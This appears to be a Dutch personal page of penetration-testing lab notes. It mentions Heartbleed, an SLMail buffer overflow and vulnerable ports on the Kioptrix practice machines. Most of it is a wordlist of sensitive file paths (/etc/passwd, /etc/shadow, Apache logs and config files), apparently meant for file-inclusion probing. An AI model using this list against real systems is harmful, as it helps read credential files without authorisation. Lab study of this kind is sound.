a2ensite default-ssl
service apache2 reload
Ubuntu heartbleed
SLMail buffer overflow
Kwetsbare poorten
- 139 (Samba)
- Kioptrix 1, m.b.v. Metasploit.
- 631 (CUPS)
Apache file names
/home/users/web/b1286/ipg.roksbox/home/index.php
/etc/issue
/etc/motd
/etc/passwd
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
/apache/logs/error.log
/apache/logs/access.log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/var/www/logs/access_log
/var/www/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/error.log
/var/log/apache2/error.log
/var/log/access_log
/var/log/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log
/apache2/logs/error.log
/apache2/logs/access.log
/logs/error.log
/logs/access.log
/logs/error_log
/logs/access_log
/usr/local/apache2/logs/access_log
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/error_log
/usr/local/apache2/logs/error.log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/opt/xampp/logs/access_log
/opt/xampp/logs/error_log
/opt/lampp/logs/access.log
/opt/lampp/logs/error.log
/opt/xampp/logs/access.log
/opt/xampp/logs/error.log
/Program Files\Apache Group\Apache\logs\access.log
/Program Files\Apache Group\Apache\logs\error.log
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/apache/conf/httpd.conf
/usr/local/etc/apache/conf/httpd.conf
/etc/apache2/httpd.conf
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/httpd.conf
/usr/local/apache2/httpd.conf
/usr/local/httpd/conf/httpd.conf
/usr/local/etc/apache/conf/httpd.conf
/usr/local/etc/apache2/conf/httpd.conf
/usr/local/etc/httpd/conf/httpd.conf
/usr/apache2/conf/httpd.conf
/usr/apache/conf/httpd.conf
/usr/local/apps/apache2/conf/httpd.conf
/usr/local/apps/apache/conf/httpd.conf
/etc/apache/conf/httpd.conf
/etc/apache2/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/http/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/httpd/httpd.conf
/etc/http/httpd.conf
/etc/httpd.conf
/opt/apache/conf/httpd.conf
/opt/apache2/conf/httpd.conf
/var/www/conf/httpd.conf
/private/etc/httpd/httpd.conf
Links
- Kioptrix VMs Challenge Walkthrough
- Een beschrijving van alle stappen voor het hacken van de Kioptrix machines.
Reageer via E-mail (dalmolen@xs4all.nl)
Deze pagina is voor het laatst gewijzigd op: 15-02-23 15:03:57